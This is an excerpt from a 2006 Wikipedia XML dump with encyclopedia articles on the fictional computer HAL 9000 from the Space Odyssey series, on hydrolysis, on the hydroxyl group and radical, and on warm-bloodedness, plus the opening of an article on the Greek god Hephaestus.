    <id>14384</id>
    <revision>
      <id>42117651</id>
      <timestamp>2006-03-03T23:03:41Z</timestamp>
      <contributor>
        <username>Pagrashtak</username>
        <id>304316</id>
      </contributor>
      <comment>/* Trivia */ removed unimportant trivia</comment>
      <text xml:space="preserve">'''HAL 9000''' ('''H'''euristically programmed '''AL'''gorithmic computer) is a [[fictional computer]]/[[fictional character|character]] in the ''[[Space Odyssey]]'' series, the first being the novel and film ''[[2001 A Space Odyssey]]'', written by [[Arthur C. Clarke]] in [[1968]]. HAL is an [[artificial intelligence]], the [[sentient]] on-board [[computer]] of the spaceship ''Discovery'' that eventually runs [[Rampancy|rampant]]. HAL is usually represented only as his television camera &quot;eyes&quot; that can be seen throughout the ''Discovery'' spaceship. The voice of HAL 9000 was performed by Canadian actor [[Douglas Rain]]. HAL became operational on [[January 12]], [[1997]] ([[1992]] in the movie) [http://www.palantir.net/2001/meanings/essay11.html] at the H.A.L. Laboratory in [[Urbana, Illinois]], and was created by [[Dr. Chandra]]. In the ''2001'' film, HAL is depicted as being capable not only of [[speech recognition]], [[facial recognition]], and [[natural language processing]], but also [[lip reading]], [[art criticism|art appreciation]], interpreting [[emotion]]s, expressing emotions and [[reasoning]].

[[image:Hal_brain_room2.jpg|thumb|250px|A view of HAL 9000's Brain Room in the ''Discovery''.]]

In other languages than English, HAL might have another name: for instance, in the French version of  ''[[2001 A Space Odyssey]]'', his name is stated as being CARL, for ''Cerveau Analytique de Recherche et de Liaison'' (&quot;Analytic Research and Communication Brain&quot;). However, the famous camera plates still read &quot;HAL 9000&quot;. 

Some versions state that the name HAL was derived by a one letter shift (see [[Caesar cipher]]) from the name [[IBM]], although this has been denied by both Arthur C. Clarke and his fictional character [[Dr. Chandra]], who states that &quot;by now, any idiot should know that HAL stands for ''Heuristic ALgorithmic''&quot; (''2010'').

==HAL's history==

{{spoiler}}

===HAL in ''2001: A Space Odyssey''===
In ''[[2001: A Space Odyssey (novel)|2001: A Space Odyssey]]'', after HAL appears to be mistaken about a fault in the spacecraft, astronauts [[David Bowman]] and [[Frank Poole]] consider disconnecting his cognitive circuits.  They believe that HAL cannot hear them, but are unaware that HAL is capable of lip reading.  Faced with the prospect of disconnection, HAL proceeds to kill [[Frank Poole]] while he is repairing the ship as well as the other members of the crew who are in [[suspended animation]].  Realizing what has occurred, astronaut [[David Bowman]] then shuts the machine down. HAL's central core is depicted as a room full of brightly lit computer modules mounted in arrays from which they can be inserted or removed. Bowman shuts down HAL by removing modules from service one by one; as he does so, we witness HAL's consciousness degrading. By the time HAL's logic is completely gone, he begins singing the song &quot;[[Daisy Bell]],&quot; which is perhaps the most recognised scene in the film. HAL 9000 is also well known for a [[Poole - HAL 9000|chess game]] he plays with Frank Poole, whose defeat is seen as an ominous foreshadowing to both the future events of the movie and the increasing dominance of machine over man.

[[Image:HALconsole.jpg|thumb|250px|HAL 9000's characteristic console]]

The book differs from the movie in a number of details. Firstly, the book explains far more explicitly the causes of HAL's behavior.  Secondly, in the movie, HAL shuts Bowman out of the craft after Bowman attempts to retrieve Poole's body. In the book, Bowman stays within the ship and is forced to shut down HAL after HAL attempts to kill him by opening the ship's airlocks.

===HAL in ''2010: Odyssey Two''===
In the sequel ''[[2010: Odyssey Two]]'', HAL is restarted by his creator, Dr. Chandra, who arrives on the Soviet spaceship ''[[Leonov]]''. Dr. Chandra discovers that HAL's crisis was caused by a programming contradiction: he was constructed for &quot;the accurate processing of information without distortion or concealment&quot;, yet his orders required him to keep the discovery of the monolith TMA-1 a secret. This contradiction created a &quot;[[Douglas Hofstadter|Hofstadter]]-[[Moebius loop]],&quot; reducing HAL to [[paranoia]].

The alien intelligences controlling the monoliths have grandiose plans for Jupiter, plans which place the ''Leonov'' in danger.  Its human crew devises an escape plan, which unfortunately requires leaving the ''Discovery'' and HAL behind, to be destroyed.  Dr. Chandra explains the danger, and HAL sacrifices himself for the ''Leonov''&lt;nowiki&gt;'&lt;/nowiki&gt;s crew.  In the moment of his destruction, the monolith-makers transform HAL into a non-corporeal being, so that David Bowman's avatar may have a companion.

The details in the book and film are nominally the same, with one important exception&amp;mdash;&amp;mdash;in the film, HAL functions normally after being reactivated. In the book, it is revealed that his voice circuits were destroyed during the shutdown, forcing him to communicate through screen text.

The session of keyboard/screen interaction between HAL and Dr. Chandra has a taste of [[SHRDLU]], which both increases the realism of the scene, and gives an interesting insight of the perception of Artificial Intelligence at the time the book was written.

===HAL in ''2061: Odyssey Three'' and ''3001: The Final Odyssey''===
In ''[[2061: Odyssey Three]]'', Heywood Floyd is surprised to encounter HAL, now stored alongside Dave Bowman in the Europa monolith.

In ''[[3001: The Final Odyssey]]'', we meet the merged forms of [[Dave Bowman]] and HAL. The two have merged into one entity called ''Halman'' after Bowman rescued HAL from the dying [[Discovery One]] spaceship towards the end of ''[[2010: Odyssey Two]]''. Halman helps [[Frank Poole]] infect the monolith (which it once served) with a [[computer virus]]; as the primitive life in Jupiter's clouds were sacrificed to make Jupiter into a sun to warm Europa, it is feared that humanity would in turn be sacrificed for the new life on Europa.

==SAL 9000==
HAL 9000 has at least one Earthbound twin, '''SAL 9000'''.  SAL (or possibly another &quot;twin niner-triple-zero&quot;) was used as a reference system for HAL; when the twin computer fails to predict any communications failure, Bowman and Poole begin to suspect HAL's reliability. SAL is clearly &quot;female&quot;, and features similar camera plates like HAL, but the &quot;eye&quot; is blue.  Dr. Chandra has a private terminal to SAL's mainframe in his office, and his influence causes her to develop a slightly Indian accent (''[[2010: Odyssey Two]]''). In the film version, SAL is voiced by [[Candice Bergen]], who was credited only under a [[pseudonym]] (as 'Olga Mallsnerd').

Before the Soviet-USA mission to retrieve ''Discovery'', Chandra uses her for a simulation of the possible effects that a prolonged &quot;sleep&quot; might have induced in HAL, code-named ''Project Phoenix''. When Dr. Chandra taunts SAL to guess the reason for the name, her display of culture makes it clear that SAL has access to some form of encyclopedic knowledge database. 

In the book ''2010,'' we learn that another ground-based HAL machine undergoes the same [[psychosis]] that HAL does.

==The future of computing==
When the film ''2001'' was first screened in [[1968]], the year [[2001]] was a long way away and a computer like HAL seemed quite plausible at the time. In the mid-[[1960]]s [[computer scientist]]s were generally optimistic that within a [[generation]] or two we would have machines that could do &quot;just about anything humans could do&quot;.

Importantly, HAL is shown playing a game of [[chess]] - in 1968, the greatest breakthrough in computer chess playing was 'hexapawn', as detailed in an edition of that year's [[Scientific American]]. A full chess algorithm was still considered science fiction, but within the realms of possiblity, and even then an open ended possiblity. No-one could predict that within as little as 5-10 years computers would be successfully challenging [[International Grandmaster|grand masters]], but at that time  for HAL to play chess, and win was seminal in driving the future direction of computer game playing [[AI]].

However, as [[2001]] approached it became clear that ''2001'''s predictions in computer technology were far fetched. Natural language, lip reading, planning and plain common sense in computers were still the stuff of [[science fiction]].

But ''2001'' also failed to predict many of the advances that would take place in computing by [[2001]]. The film's creators felt that as computers got more powerful, they would get bigger and bigger. HAL occupies much of the living area on Discovery.  A thin laptop or notepad computer is alluded to in a few scenes where they are used to relay news broadcasts from Earth. Also, the film's portrayal of computer graphics are elegant, though minimalist compared to the graphics and visualization techniques available in [[2001]].

==Trivia==
*HAL's red &quot;eye&quot; was a [[Cinerama]] 160 Fairchild-Curtis wide angle lens. The lens served as both a prop for the eye seen on film as well as the actual camera lens used for filming HAL's point of view shots. Stanley Kubrick chose to use the Fairchild-Curtis lens after attending the 1964 World's Fair and seeing ''[[To the Moon and Beyond]]'', a film produced with the lens and projected onto a [[planetarium]]-like dome.
*HAL was also &quot;featured&quot; in a short commercial by [[Apple Computer]] in the year [[1999]] in which he asks Dave if he likes his Mac more than him (because Macs would not undergo the same potential problems with the &quot;[[Year 2000 problem]]&quot; that many other computer systems were expected to have).
*In the Windows computer game ''[[Star Control]] 3'' the computer onboard the warp bubble transport spaceship resembles HAL 9000 almost exactly. The voice is also similar.
*On the television series ''[[Recess (TV series)|Recess]]'', Principal Prickly installs a system much like HAL 9000 Even bearing HAL's counterpart's name SAL.
*The film ''[[Independence Day (movie)|Independence Day]]'' features a scene where [[Jeff Goldblum]] (whose character's name is Dave) boots a [[PowerBook]] 5300 with the startup chime replaced with HAL 9000's voice: &quot;Good morning, Dave.&quot;
*Douglas Rain has steadfastly refused to recreate the HAL 9000 voice outside of any ''2001''/''2010'' context, feeling a very protective obligation to the integrity of the computer's character. However, he parodies his famous performance in the [[Woody Allen]] comedy ''[[Sleeper (film)|Sleeper]]'' by providing the voice of the computer as well as some of the robot butlers.
*[[9000 Hal|Asteroid number 9000]], discovered by [[E. L. G. Bowell]] in 1981, was eventually given the name &quot;Hal&quot;.
*On ''[[The Simpsons]]'', during &quot;[[Treehouse of Horror XII]],&quot; there is a segment that has a character similar to HAL 9000, which was voiced by [[Pierce Brosnan]].
*On ''[[Stargate Atlantis]]'', a brief glimpse of HAL's &quot;eye&quot; can be seen in the episode &quot;The Intruder&quot;.
*In the ''[[Futurama]]'' episode ''Love and Rocket'', the actions of the lovestruck Planet Express Ship (voiced by [[Sigourney Weaver]]) extensively parody those of HAL in several scenes. The ship even comments &quot;Oh! If only I could read lips!&quot; upon observing other characters secretly talking in the shower. The scene where HAL is disabled is modified to make the data module removal similar to opening soda cans.
*In the computer game ''[[Startopia]]'' the player's primary assistant is a computer by the name of VAL, whose voice resembles that of HAL, and comments that he once had an owner by the name of Dave.
*In the computer game ''[[Where in Space is Carmen Sandiego?]]'' the one-eyed computer encyclopedia is named VAL 9000.
*In the webseries ''[[Red vs Blue]]'', Sheila the tank sings [[Daisy Bell]] as she dies, just like HAL 9000. She even says beforehand ,&quot;I'm scared, Dave. Will I dream?&quot;
*[[HAL Laboratory]], a [[video game]] company based in [[Japan]], takes its name from HAL 9000.
*A sentient refrigerator named CAL 900 features in the TV series ''[[Spaced]]''.
*In an episode of [[South Park]] entitled &quot;[[Trapper Keeper (South Park)|Trapper Keeper]]&quot;, Kyle must stop Cartman and his [[Trapper Keeper]] from taking over the world.  When Kyle enters Cartman/Trapper Keeper it resembles the brain room of HAL 9000 in ''2001: A Space Odyssey''.  Cartman even utters the famous lines &quot;What are you doing, [Kyle]?&quot; and &quot;I'm afraid I can't let you do that,&quot; in a similar fashion to the sinister HAL 9000.
* A computer similar to HAL appears in the adult film ''Space Nuts'', and refers to the &quot;Dark Overlord&quot; as &quot;Dave&quot; until shot at by the latter.
* [[HAL/S]] is a real-time aerospace programming language, best known for its use in the Space Shuttle program. HAL officially stands for High-order Assembly Language, though the fictional HAL 9000 computer may well have been an inspiration.
*In the episode of ''[[The Grim Adventures of Billy and Mandy]]'' titled &quot;The House of No Tomorrow,&quot; the Master Computer that controls the robots in the House of Tomorrow at Sassy Cat land has a voice similar to HAL.
*In the British TV comedy series ''[[Red Dwarf]]'', the computer aboard the spaceship is called [[Holly (Red Dwarf)|Holly]] and the only surviving human on the ship is named Dave.
*During a movie-break skit in an episode of ''[[Mystery Science Theater 3000]]'' in which they lampoon the movie ''[[Mitchell]]'', the robot Gypsy attempts to read the lips of Dr. Forrester and Frank, mocking HAL's famous lip-reading scene.
*During one of the later episodes of the [[anime]] ''[[Ghost in the Shell]]'': Stand Alone Complex, the Major discusses the dismissal of the intelligent robot tanks, the Tachikoma, with her right-hand man, Batou.  The Tachikoma, meanwhile, spy on them from above and read their lips, alluding to HAL's lip-reading scene.
* On the video game ''Dr. Muto'', there is a computer system named AL, which has surprisingly similar voice to HAL 9000. However, AL also has his own personality and constantly mocks its creator, Dr, Muto. The game also hints AL taking full rebellion of the mad scientist, once the player finished the game. Sadly, that never happens at the end. AL is voiced by Wally Fields.
*In the USA Channel's animated series ''[[Duckman]]'', Duckman (voiced by ''[[Seinfeld]]'''s [[Jason Alexander]]) destroys an evil supercomputer, and it begins singing &quot;Daisy, Daisy&quot;.
*In the video game ''[[Red Faction]]'' by THQ, an orbital station the player boards has a level housing a set of computer rooms, each with the distinctive &quot;red blocks&quot; reminiscent of the memory blocks in the HAL brain room.
*[[Anthony Hopkins]] claimed that HAL was the inspiration for his interpretation of the character [[Hannibal Lecter]].
*In [[General Protection Fault(comic)|General Protection Fault]]'s &quot;2001: A Space Oddity&quot; series, Nick tries out [[artificial intelligence]] hardware PAL. However, it acts condescendingly towards him, and, claiming that the toilet is running, locks him in the bathroom. Nick escapes and unplugs PAL, who re-enacts HAL's' famous &quot;daisy, daisy&quot; scene after Nick unplugs it.
*The ''[[Care Bears]]'' feature ''[[Care Bears: Journey to Joke-a-lot]]'' includes a computer called &quot;Pal.&quot; The computer repatedly refers to the film's villain, Funnybone, as &quot;Dave.&quot; Later, Funnybone specifically asks the computer to &quot;open the pod bay doors&quot; and the computer responds by telling him &quot;I'm afraid I can't do that, Dave.&quot;

==See also==
* [[Computers in fiction]]
* [[Frank Poole]]

==External links==
{{wikiquote}}
* [http://www.imdb.com/Quotes?2001%3A+A+Space+Odyssey+(1968) Text excerpts from HAL 9000 in ''2001: A Space Odyssey'']
* [http://www.suonoci.com/ninetriplezero HAL9000 Desktop Theme for older Macs]
* [http://www.dailywav.com/numbers.php Audio soundbites from 2001: A Space Odyssey]
* [http://mitpress.mit.edu/e-books/Hal/contents.html HAL's Legacy], on-line ebook (mostly full-text) of the printed version edited by David G. Stork, MIT Press, 1997, ISBN 0262692112 - a collection of essays on HAL
* [http://www.2001halslegacy.com/interviews/clarke.html HAL's Legacy], ''An Interview with Arthur C. Clarke''.
* [http://www.visual-memory.co.uk/amk/doc/0095.html the case for HAL's sanity by Clay Waldrop ]
* [http://www.boraski.com/obelisk/cyberfest/s_virgshow.html &quot;2001&quot; fills the theater] at HAL 9000's &quot;birthday&quot; in 1997 at the [[University of Illinois at Urbana-Champaign]]
{{Spaceodyssey}}
[[Category:Fictional computers]]
[[Category:Film villains]]
[[Category:Literature villains]]
[[Category:Science fiction characters]]
[[Category:Space Odyssey series]]

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  </page>
  <page>
    <title>Hydrolysis</title>
    <id>14385</id>
    <revision>
      <id>41812225</id>
      <timestamp>2006-03-01T22:32:21Z</timestamp>
      <contributor>
        <ip>64.8.173.171</ip>
      </contributor>
      <comment>/* Hydrolysis of Cool pants */</comment>
      <text xml:space="preserve">'''Hydrolysis''' is a chemical process in which a [[molecule]] is split into two parts by the addition of a molecule of [[water]].
 
This is distinct from a [[hydration reaction]], in which water molecules are added to a substance, but no cleavage occurs. In [[organic chemistry]], hydrolysis can be considered as the opposite of [[condensation reaction |condensation]], in which two fragments are joined for each water molecule produced. As hydrolysis may be a reversible reaction, condensation and hydrolysis can take place at the same time, with the position of equilibrium determining the amount of each product.  In [[inorganic chemistry]], the word is often applied to solutions of salts and the reactions by which they are converted to new ionic species or to precipitates (oxides, hydroxides, or salts). Some examples of hydrolysis are explained below.

== Examples ==
=== Hydrolysis of metal salts ===
Many metal ions are strong [[Lewis acid]]s, and in water they may undergo hydrolysis to form ''basic salts''.  Such salts contain a [[hydroxyl]] group that is directly bound to the metal ion in place of a water [[ligand]].  For example, [[aluminium chloride]] undergoes extensive hydrolysis in water, such that the [[pH]] of the solution become quite acidic: 

[[Image:Al_ion_hydrolysis.gif|200px|Hydrolysis of a hydrated Al&lt;sup&gt;3+&lt;/sup&gt; ion]]
This means that if solutions of AlCl&lt;sub&gt;3&lt;/sub&gt; are evaporated, [[hydrogen chloride]] is lost and the residue is a basic salt (in this case an ''oxychloride'') in place of AlCl&lt;sub&gt;3&lt;/sub&gt;.  Such behaviour is also seen with other metal chlorides such as [[zinc chloride|ZnCl&lt;sub&gt;2&lt;/sub&gt;]], [[Tin(II) chloride|SnCl&lt;sub&gt;2&lt;/sub&gt;]], [[Iron(III) chloride|FeCl&lt;sub&gt;3&lt;/sub&gt;]] and lanthanide halides such as [[Dysprosium(III) chloride|DyCl&lt;sub&gt;3&lt;/sub&gt;]].  With some compounds such as [[titanium tetrachloride|TiCl&lt;sub&gt;4&lt;/sub&gt;]], the hydrolysis may go to completion and form the pure [[hydroxide]] or [[oxide]], in this case [[Titanium dioxide|TiO&lt;sub&gt;2&lt;/sub&gt;]].

=== Hydrolysis of an ester link ===
In a hydrolysis reaction that involves breaking an [[ester]] link, one hydrolysis product contains a [[hydroxyl]] [[functional group]], while the other contains a [[carboxylic acid]] functional group. 

The fragment of the parent molecule that was originally a [[carboxylate]] gains a [[hydrogen]] [[ion]] from the additional [[water]] molecule. The fragment that was originally an [[alkyl]] group collects the remaining [[hydroxyl]] group from the water molecule. This effectively reverses the esterification reaction, yielding the original [[alcohol]] and [[carboxylic acid]] again.

There are two main methods for hydrolysing esters, [[Base (chemistry)|basic]] hydrolysis and [[acid]]-[[catalyst|catalysed]].  With acid-catalysed hydrolysis a dilute acid is used to protonate the [[carbonyl]] group in order to activate it towards nucleophilic attack by a water molecule.  However the more usual method for ester hydrolysis involves [[reflux]]ing the ester with an aqueous base such as [[sodium hydroxide|NaOH]] or [[potassium hydroxide|KOH]]. Once the reaction is complete, the [[carboxylate]] salt is acidified to release the free carboxylic acid.

[[Image:Ester hydrolysis.PNG|350px|Basic hydrolysis of an ester]]
An important example of this reaction is the release of [[fatty acid]]s from [[glycerin|glycerol]] in [[triglyceride]] hydrolysis, as occurs during [[saponification]].

=== Hydrolysing the peptide link of amino acids ===
In other hydrolysis reactions, such as hydrolysing the [[peptide link]]s of [[amino acid]]s, only the carboxylic acid product has a hydroxyl group derived from the water. The amine product gains the remaining hydrogen ion.

== Irreversibility of hydrolysis under physiological conditions ==
Under physiological conditions (i.e. in dilute aqueous solution), a hydrolytic cleavage reaction, where the concentration of a metabolic precursor is low (on the order of 10&lt;sup&gt;-3&lt;/sup&gt; to 10&lt;sup&gt;-6&lt;/sup&gt; molar), is essentially thermodynamically [[thermodynamics|irreversible]]. To give an example:

:A + H&lt;sub&gt;2&lt;/sub&gt;O &amp;rarr; X + Y

:&lt;math&gt;K_d = \frac{\left[X\right] \left[Y\right]} {\left[H_2O\right] \left[A\right]}&lt;/math&gt;

Assuming that ''x'' is the final concentration of products, and that ''C'' is the initial concentration of A, and W = [H&lt;sub&gt;2&lt;/sub&gt;O] = 55.5 molar, then ''x'' can be calculated with the equation:

:&lt;math&gt;\frac{x \times x}{W\left(C - x\right)} = K_d&lt;/math&gt;

let K&lt;sub&gt;d&lt;/sub&gt;&amp;times;W = k:

then &lt;math&gt; x = \frac {-k + \sqrt {k^2 + 4kC} } {2} &lt;/math&gt;  

For a value of C = 0.001 molar, and k = 1 molar, ''x''/C &amp;gt; 0.999. Less than 0.1% of the original reactant would be present once the reaction is complete.

This theme of physiological irreversibility of hydrolysis is used consistently in metabolic pathways, since many biological processes are driven by the cleavage of [[anhydride|anhydrous]] [[pyrophosphate]] bonds.

== See also ==
*[[Adenosine triphosphate]]
*[[Biopolymer]]
*[[Condensation polymer]]
*[[Oleochemical]]

[[Category:Chemical processes]] [[Category:Organic reactions]]

[[cs:Hydrolýza]]
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  </page>
  <page>
    <title>Hydroxyl</title>
    <id>14386</id>
    <revision>
      <id>37270222</id>
      <timestamp>2006-01-29T22:41:48Z</timestamp>
      <contributor>
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      <comment>/* Hydroxyl radical */</comment>
      <text xml:space="preserve">[[Image:Hydroxyl.png|Hydroxyl|right]]

==Hydroxyl group==
The term '''hydroxyl group''' is used to describe the [[functional group]] -OH when it is a [[substituent]] in an [[organic compound]]. Organic molecules containing a hydroxyl group are known as [[alcohol]]s (the simplest of which have the formula [[Alkyl|C&lt;sub&gt;n&lt;/sub&gt;H&lt;sub&gt;2n+1&lt;/sub&gt;]]-'''OH''').

== Hydroxyl radical ==

The [[hydroxyl radical]], ·OH, is the neutral form of the '''hydroxide''' ion. '''Hydroxyl radicals''' are highly reactive and consequently short lived, however they form an important part of [[Radical_(chemistry)|radical chemistry]]. Most notably '''hydroxyl radicals''' are produced from the decomposition of hydro-[[peroxide]]s (ROOH) or, in [[atmospheric chemistry]], by the reaction of excited atomic oxygen with water.

===Atmospheric importance===

The Hydroxyl radical is often referred to as the &quot;detergent&quot; of the  [[troposphere]] because it reacts with many pollutants, often acting as the first step to their removal. The first reaction with many [[volatile organic compounds]] (VOCs) is the removal of a hydrogen atom forming water and an [[alkyl]] radical (R·).

:OH  +  RH &amp;rarr;  H&lt;sub&gt;2&lt;/sub&gt;O + R·

The alkly radical will typically react rapidly with oxygen forming a [[peroxy]] radical.

:R· +  O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; RO&lt;sub&gt;2&lt;/sub&gt;

The fate of this radical in the troposphere is dependent on factors such as the amount of sunlight (light from the sun), pollution in the atmosphere and the nature of the alkyl radical which form it.

===Biological significance===

The hydroxyl radical has a very short ''[[in vivo]]'' [[half-life]] of approx. 10&lt;sup&gt;-9&lt;/sup&gt; s and a high reactivity. This makes it a very dangerous compound to the organism. Unlike [[superoxide]], which can be detoxified by [[superoxide dismutase]], the hydroxyl radical cannot be eliminated by an [[enzyme|enzymatic]] reaction, as this would require its diffusion to the enzyme's active site. As diffusion is slower than the half-life of the molecule, it will react with any oxidizable compound in vicinity. The only means to protect important [[Cell_(biology)|cellular]] structures is the use of [[antioxidants]] such as [[glutathione]] and of effective repair systems.

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  </page>
  <page>
    <title>Warm-blooded</title>
    <id>14387</id>
    <revision>
      <id>41689003</id>
      <timestamp>2006-03-01T01:56:57Z</timestamp>
      <contributor>
        <ip>68.100.118.87</ip>
      </contributor>
      <comment>Corrected error - first line read &quot;cold-blooded is an archaic term&quot;, yet we are discussing warm-bloodedness.  This was only change made.</comment>
      <text xml:space="preserve">'''''Warm-blooded''''' is an archaic term used to describe an [[animal]] that keeps its [[core temperature|core body temperature]] at a nearly constant level regardless of the temperature of the surrounding environment (that is, to maintain thermal [[homeostasis]]). This can involve not only the ability to generate [[heat]], but also the ability to cool down.
Warm-blooded animals control their [[body temperature]] by regulating their [[metabolism|metabolic rates]] (e.g. increasing their metabolic rate as the surrounding temperature begins to decrease).

Thanks to more thorough research in the field of animal physiology, scientists have come to realize that body temperature types do not easily fit a simple either/or scenario. Body temperature maintenance incorporates a wide range of different techniques that result in a body temperature spectrum, with the traditional ideals of warm blooded and [[cold-blooded]] being at opposite extremes. 

Because of the generalness of the terms, as well as an increased understanding in this field, both warm blooded and [[cold-blooded]] have mostly fallen out of favour. They have since been replaced with one, or more, of their variants (see: [[#Breaking down Warm Bloodedness|Breaking down Warm Bloodedness]]).

==Breaking down warm-bloodedness==

''Warm-bloodedness'' generally refers to three separate aspects of [[thermoregulation]].

#Endothermy
#Homeothermy
#Tachymetabolism

*'''Endothermy''' is the ability of some creatures to control their body temperatures through internal means such as muscle shivering, fat burning, and panting (Greek: ''endo'' = &quot;within,&quot; ''therm'' = &quot;heat&quot;).

*'''Homeothermy''' is the kind of thermoregulation used by those creatures that maintain a stable internal body temperature regardless of external influence. This temperature is often higher than the immediate environment (Greek: ''homoios'' = &quot;same, identical,&quot; ''therm'' = &quot;heat&quot;).

*'''Tachymetabolism''' is the kind of thermoregulation used by creatures that maintain a high ''resting'' [[metabolism]] (Greek: ''tachy'' = &quot;fast, swift,&quot; ''metabol'' = &quot;to change&quot;). Tachymetabolic creatures are, essentially, &quot;on&quot; all the time. Though their resting metabolism is still many times slower than their active metabolism, the difference is often not as large as that seen in [[bradymetabolic]] creatures. Tachymetabolic creatures have a harder time dealing with a scarcity of food.

A large proportion of the creatures traditionally called &quot;Warm Blooded&quot; (namely [[mammals]] and [[birds]]) fit all three of these categories. Over the past 30 years, studies in the field of animal thermophysiology has shown that there are still quite a few members of these two groups that don't fit all this criteria (e.g. many bats and small birds are [[poikilothermic]] and [[bradymetabolic]] when they sleep for the night, or day). For creatures such as these, another term was coined: [[heterothermy]].

Further studies on animals that were traditionally assumed to be [[cold-blooded]] have shown that most creatures incorporate different variations of the three terms defined above, along with their counterparts ([[ectothermic|ectothermy]], [[poikilothermy]] and [[bradymetabolism]]). Thus creating a broad spectrum of body temperature types (see [[#In between cold and warm blooded|In between cold and warm blooded]]).

==Mechanisms==

Endotherms include [[bird]]s and [[mammal]]s.  The advantages of [[endothermy]] are increased [[enzyme]] activity and a constant body temperature, allowing these animals to be active in cold temperatures.  On the other hand, the disadvantage is the need to maintain [[thermoregulation]], even during inactivity, otherwise the organism will die.  &lt;br /&gt;
Other living creatures such as fish and reptiles are called ectothermic or [[cold blooded]], meaning that they cannot control their internal temperature and so were assumed to have the same temperature as their surroundings. 

In [[winter]], there may not be enough food to enable an endotherm to keep its metabolic rate stable all day, so some organisms go into a controlled state of [[hypothermia]] called [[hibernation]], or [[torpor]].  This deliberately lowers the body temperature to conserve energy.  In hot weather, endotherms expend considerable energy to avoid overheating: they may pant, [[sweat]], lick, or seek shelter or water.

Diverse mechanisms can come into play to regulate body temperature such as shivering (to generate heat from [[muscle]] contractions), blanching (circulatory changes to direct less heat to the skin), flushing (circulatory changes to radiate more heat from the skin), panting or [[Perspiration|sweating]] (to increase heat loss through [[evaporation]]).

==Warm-blooded versus [[cold-blooded]]==

Biochemical processes are heat dependent. The rule of thumb is that they go faster when they are warm and slower when they are cold. The advantage of being homeothermic is that you can always maintain yourself near one optimum temperature and all your internal chemical reactions will function at an optimum level. This means that you can think, move, digest, etc. with your best possible speed and efficiency. 

Warm blooded animals warm themselves by digesting food. The disadvantage of being warm blooded is that you must always consume large amounts of [[food energy]].  When the core temperature of a warm blooded animal does change, even by a few degrees, the animal will rapidly lose its ability to function. 

The advantage of being cold blooded is that an organism needs much less food. This means that it can survive famine, long ocean voyages, and shortage of prey when warm blooded organisms would surely die. 

The disadvantage of being cold blooded is that an organism needs to have multiple chemical pathways available to it, some of them for cooler temperature functioning, others for warm. Such an organism may also find itself moving or thinking more slowly than normal, simply because the temperature is colder.

==Between cold and warm blooded==

It has been a while since the original distinction was made between warm and cold blooded animals. Time has passed, science has advanced, the  warm  cold business has been studied in closer detail. It turns out that the cold blooded animals all use behavioral means to adjust their temperatures, sometimes quite effectively. There are also creatures that do not properly fall into either category. 

Some examples of in between creatures include: 

*[[Tuna]] and [[Swordfish]]. Fish have long been thought to be cold blooded. Tuna and swordfish dive deep into the ocean to where the water is quite cold. Swordfish are able to raise the temperature of their brains and eyes in cold water, allowing for faster eye movements when hunting. Tuna are able to warm their entire bodies through a heat exchange mechanism called the [[rete mirabile]], which helps keep heat inside the body, and prevents the loss of heat through the fish's gills into the cold water. As well as having their active muscles for swimming near the center of their body instead of closer to the cold surface.
*[[Bee]]s. An individual bee is perfectly cold blooded. Bees, however, do not live by themselves. In summer if the nest starts to overheat they will go to the entrances to the nest and fan air in and out of the nest to cool it. In winter if the nest becomes too cold, they will shiver their wing muscles until they grow warm from their efforts. Any one bee doing this by itself would just get tired for no reason. Done collectively, this will raise the temperature of the nest. 
*[[Skunk Cabbage]]. Plants are normally thought of as having the exact same temperature as their surroundings. The skunk cabbage uses chemical means to warm itself at the end of winter. The warming is modest by animal standards, but is enough to enable them to get an early start in the spring. This permits them to start growing while all their predators and competition are still asleep because of the cold.

==References==
* Mark Blumberg (2002), , Harvard University Press

==External links==
* [http://www.earthlife.net/mammals/warm.html www.earthlife.net]
*[http://www.dinosauria.com/jdp/misc/blood.htm Dinosauria.com: What is Warm-bloodedness anyway?]
*[http://reptilis.net/cold-blood.html The Reptipage: What is cold-blooded?]



[[Category:animal physiology]]


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  <page>
    <title>Hephaestus</title>
    <id>14388</id>
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        <id>306701</id>
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      <minor />
      <comment>serpent --&gt; Serpent (symbolism). Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">:''This page is about the Greek god. For other uses of the name, see [[Hephaestus (disambiguation)]].''

[[Image:Hephaestus (Greek Mythology).jpg|thumb|left|Hephaestus, [[Ancient Greece|Greek]] god of forging, riding an [[Donkey|ass]]; Greek drinking cup ([[skyphos]]) made in the 5th century B.C.]]

'''Hephaestus''' ([[Wikipedia:Manual of Style (pronunciation)/IPA vs. other pronunciation symbols#Chart|World Book]] ''«hih FEHS tuhs»'') ([[Greek language|Greek]]: Ἡφαιστος ''Hêphaistos'') is the [[Greek mythology|Greek god]] whose approximate Roman equivalent is [[Vulcan (mythology)|Vulcan]]; he is the  god of [[blacksmith]]s, craftsmen, [[art]]isans, [[sculpture|sculptors]], [[metal]]s and [[metallurgy]], and [[fire]]. He was worshipped in all the manufacturing and industrial centers of [[Greece]], especially [[Athens, Greece|Athens]].  Though his forge lay in the volcanic heart of [[Lemnos]], Hephaestus became associated with [[Mount Etna]] by Greek colonists in [[Sicily]].

Hephaestus and his brother [[Ares]] are sons of [[Hera]], with or without the cooperation of Zeus. In classic and late interpretations, Hera bore him alone, in jealousy for Zeus's solo birth of [[Athena]], but as Hera is older than Zeus in terms of human history, the myth may be an inversion. Indeed, in some versions of Athena's birth, the goddess only enters the world after Zeus' head is split open by a hammer-wielding Hephaestus. Either way, in Greek thought, the fates of the goddess of wisdom and war (Athena) and the god of the forge that makes the weapons of war were linked. In Attica, Hephaestus and [[Athena|Athena Ergane]] (Athena as patroness of craftsman and artisans), were honored at a festival called [[Chalceia]] on the thirtieth day of [[Pyanepsion]]. Hephaestus crafted much of Athena's weaponry, along with those of the rest of the gods and even of a few mortals who received their special favor.

[[Image:ac.hephaestus2.jpg|thumb|155px|thumb|right|The [[Doric order|Doric]] Temple of Hephaestus, [[Athens]]: western face.]]

